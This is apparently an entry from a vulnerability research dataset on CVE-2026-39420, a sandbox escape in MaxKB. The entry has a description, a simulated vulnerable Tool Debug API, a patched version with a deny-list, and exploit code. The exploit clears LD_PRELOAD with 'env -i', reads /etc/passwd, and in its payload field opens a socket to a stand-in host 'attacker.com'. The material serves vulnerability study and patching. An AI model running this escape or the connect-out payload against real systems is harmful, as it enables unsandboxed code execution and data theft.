{"id":1782,"cve":"CVE-2026-39420","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-39420\/","cwe":"CWE-78","cwe_number":78,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/78","cvss_score":7.4,"published":"2026-04-14","owasp":"A08 Software and Data Integrity Failures","odc":"Checking","cdc":"Incorrect Algorithm","category":"Design Defects","subcategory":"Poorly Designed Access Controls","scope":"Remote","impact":"Arbitrary Code Execution","summary":"Authenticated users can escape MaxKB's sandbox for RCE using 'env -i'.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-39420\/","description":"MaxKB is an open-source AI assistant for enterprise. In versions 2.7.1 and below, an incomplete sandbox protection mechanism allows an authenticated user with tool execution privileges to escape the LD_PRELOAD-based sandbox. By env command the attacker can clear the environment variables and drop the sandbox.so hook, leading to unrestricted Remote Code Execution (RCE) and network access. MaxKB restricts untrusted Python code execution via the Tool Debug API by injecting sandbox.so through the LD_PRELOAD environment variable. This intercepts sensitive C library functions (like execve, socket, open) to restrict network and file access. However, a patch allowed the \/usr\/bin\/env utility to be executed by the sandboxed user. When an attacker is permitted to create subprocesses, they can execute the env -i python command. The -i flag instructs env to completely clear all environment variables before running the target program. This effectively drops the LD_PRELOAD environment variable. The newly spawned Python process will therefore execute natively without any sandbox hooks, bypassing all network and file system restrictions. This issue has been fixed in version 2.8.0.","solution":"Upgrade to MaxKB version 2.8.0 or later.","affected_component":"MaxKB","fixed_by_upgrading":false,"vulnerable_code":"import os\nimport subprocess\nimport sys\n\n# This function simulates the vulnerable \"Tool Debug API\" in MaxKB <= 2.7.1\n# It takes user-provided Python code and attempts to run it in a sandbox.\ndef vulnerable_api_execute_tool(user_code):\n    \"\"\"\n    Simulates the vulnerable MaxKB API endpoint.\n    It establishes a sandboxed environment using LD_PRELOAD and then\n    executes the user-provided Python code within it.\n    \"\"\"\n    print(\"--- [MaxKB Server] Received request to execute user code in sandbox. ---\")\n\n    # 1. The server sets up the sandbox environment using LD_PRELOAD.\n    # This is intended to intercept and block dangerous function calls.\n    sandboxed_env = os.environ.copy()\n    sandboxed_env['LD_PRELOAD'] = '\/path\/to\/sandbox.so'\n    print(f\"--- [MaxKB Server] Injecting sandbox via LD_PRELOAD: {sandboxed_env['LD_PRELOAD']} ---\")\n\n    # 2. The server executes the user-provided Python code.\n    # The vulnerability lies in the fact that the code running inside this\n    # sandbox is allowed to call '\/usr\/bin\/env'.\n    print(\"--- [MaxKB Server] Executing user code inside the sandbox... ---\")\n    try:\n        # Using python -c to run the code string directly\n        process = subprocess.run(\n            [sys.executable, '-c', user_code],\n            env=sandboxed_env,\n            check=True,\n            capture_output=True,\n            text=True\n        )\n        print(\"--- [MaxKB Server] User code executed successfully (or so it seems). ---\")\n        print(\"--- STDOUT ---\\n\" + process.stdout)\n        print(\"--- STDERR ---\\n\" + process.stderr)\n\n    except subprocess.CalledProcessError as e:\n        print(f\"--- [MaxKB Server] User code execution failed. ---\")\n        print(\"--- STDOUT ---\\n\" + e.stdout)\n        print(\"--- STDERR ---\\n\" + e.stderr)\n    except Exception as e:\n        print(f\"--- [MaxKB Server] An unexpected error occurred: {e} ---\")\n\n\n# This represents the malicious code an authenticated attacker would submit.\nattacker_payload_code = \"\"\"\nimport os\nimport subprocess\n\nprint(\"[Attacker Code] Running inside what should be a sandbox.\")\n\n# Check the environment to confirm the sandbox hook is active.\nld_preload_var = os.getenv('LD_PRELOAD')\nif ld_preload_var:\n    print(f\"[Attacker Code] Confirmed: LD_PRELOAD is set to '{ld_preload_var}'. The sandbox is active.\")\nelse:\n    print(\"[Attacker Code] Warning: LD_PRELOAD is not set. This shouldn't happen.\")\n\nprint(\"[Attacker Code] Now, attempting to escape the sandbox...\")\n\n# This is the code that will run *after* the sandbox escape.\n# It demonstrates unrestricted access by reading a sensitive file.\npost_escape_code = '''\nimport os\nimport subprocess\nprint(\"    [Escaped Process] Greetings from the unsandboxed world!\")\nescaped_ld_preload = os.getenv('LD_PRELOAD')\nif not escaped_ld_preload:\n    print(\"    [Escaped Process] SUCCESS! LD_PRELOAD environment variable was cleared.\")\n    print(\"    [Escaped Process] Now executing restricted command: reading \/etc\/passwd\")\n    try:\n        # In a real scenario, this could be a reverse shell, network request, etc.\n        result = subprocess.run(['cat', '\/etc\/passwd'], capture_output=True, text=True, check=True)\n        print(\"    [Escaped Process] Contents of \/etc\/passwd (first 5 lines):\")\n        for line in result.stdout.splitlines()[:5]:\n            print(f\"    [Escaped Process] {line}\")\n    except Exception as e:\n        print(f\"    [Escaped Process] Could not execute command. (This may happen on non-Unix systems or due to permissions). Error: {e}\")\nelse:\n    print(f\"    [Escaped Process] FAILURE! LD_PRELOAD is still set to '{escaped_ld_preload}'.\")\n'''\n\n# The core of the exploit: using 'env -i' to clear the environment.\n# 'env -i' starts the subsequent command ('python') with a completely empty environment,\n# thus dropping the LD_PRELOAD variable and deactivating the sandbox.\nescape_command = ['\/usr\/bin\/env', '-i', 'python', '-c', post_escape_code]\n\ntry:\n    print(f\"[Attacker Code] Executing command: {' '.join(escape_command)}\")\n    subprocess.run(escape_command, check=True)\n    print(\"[Attacker Code] Sandbox escape command executed.\")\nexcept FileNotFoundError:\n    print(\"[Attacker Code] Exploit failed: \/usr\/bin\/env not found. This PoC is designed for a Unix-like environment.\")\nexcept Exception as e:\n    print(f\"[Attacker Code] An error occurred during escape attempt: {e}\")\n\n\"\"\"\n\nif __name__ == \"__main__\":\n    # This simulates the attacker calling the vulnerable API endpoint\n    # with their malicious payload.\n    vulnerable_api_execute_tool(attacker_payload_code)","patched_code":"import subprocess\nimport os\nimport sys\n\n# A set of commands that are explicitly disallowed in the sandboxed environment.\n# The fix for CVE-2026-39420 is to block the 'env' utility,\n# as it can be used with the '-i' flag to clear the LD_PRELOAD sandbox.\nDISALLOWED_COMMANDS = {\n    'env',\n    '\/usr\/bin\/env',\n}\n\ndef execute_fixed_sandboxed_command(command_parts: list[str]):\n    \"\"\"\n    Represents a fixed API that executes a command within a sandbox.\n\n    The vulnerability is patched by explicitly disallowing the 'env' command,\n    which was the vector for the sandbox escape.\n    \"\"\"\n    if not command_parts:\n        print(\"Error: No command provided.\", file=sys.stderr)\n        # In a real application, this would raise an exception.\n        return None\n\n    # --- START OF THE FIX ---\n    # The core of the fix is to validate the command before execution.\n    # By checking the first element of the command list against a deny-list,\n    # we prevent the execution of '\/usr\/bin\/env'. This blocks the attacker's\n    # ability to use 'env -i' to clear the LD_PRELOAD environment variable.\n    executable = command_parts[0]\n    if executable in DISALLOWED_COMMANDS:\n        # Block the command and inform the user.\n        print(\n            f\"Error: Execution of '{executable}' is disallowed for security reasons \"\n            f\"to prevent sandbox escape (CVE-2026-39420).\",\n            file=sys.stderr\n        )\n        # In a real system, this would raise a specific security exception.\n        return None\n    # --- END OF THE FIX ---\n\n    # If the command is not disallowed, proceed to run it within the sandbox.\n    sandboxed_env = os.environ.copy()\n    \n    # The LD_PRELOAD variable is what establishes the sandbox by injecting\n    # a shared library (e.g., sandbox.so) to intercept system calls like\n    # socket(), open(), and execve().\n    sandboxed_env['LD_PRELOAD'] = '.\/sandbox.so'\n\n    try:\n        # Execute the validated command with the sandboxed environment.\n        # The command will now correctly run with the sandbox.so hooks,\n        # as the 'env -i' escape route has been blocked.\n        result = subprocess.run(\n            command_parts,\n            env=sandboxed_env,\n            check=True,\n            capture_output=True,\n            text=True\n        )\n        return result.stdout\n    except FileNotFoundError:\n        # This error occurs if the executable (e.g., 'python') doesn't exist.\n        print(f\"Error: Command not found: '{executable}'\", file=sys.stderr)\n        return None\n    except subprocess.CalledProcessError as e:\n        # This error occurs if the command returns a non-zero exit code.\n        print(f\"Error during command execution: {e.stderr}\", file=sys.stderr)\n        return None","payload_needed":true,"payload":"```python\nimport subprocess\n\ncommand = [\n    \"\/usr\/bin\/env\",\n    \"-i\",\n    \"python\",\n    \"-c\",\n    \"import socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('attacker.com', 1234))\"\n]\n\nsubprocess.run(command)\n```","payload_status":"available","published_fix":[{"repository":"1Panel-dev\/MaxKB","commit_url":"https:\/\/github.com\/1Panel-dev\/MaxKB\/commit\/2d17b08e6b060329803754a05e806d0ddecf3fa8","commit_subject":"security: fix sandbox escape via env -i LD_PRELOAD Bypass","units":[{"file":"apps\/application\/flow\/backend\/sandbox_shell.py","function":"SandboxShellBackend.execute"}]}],"references":null}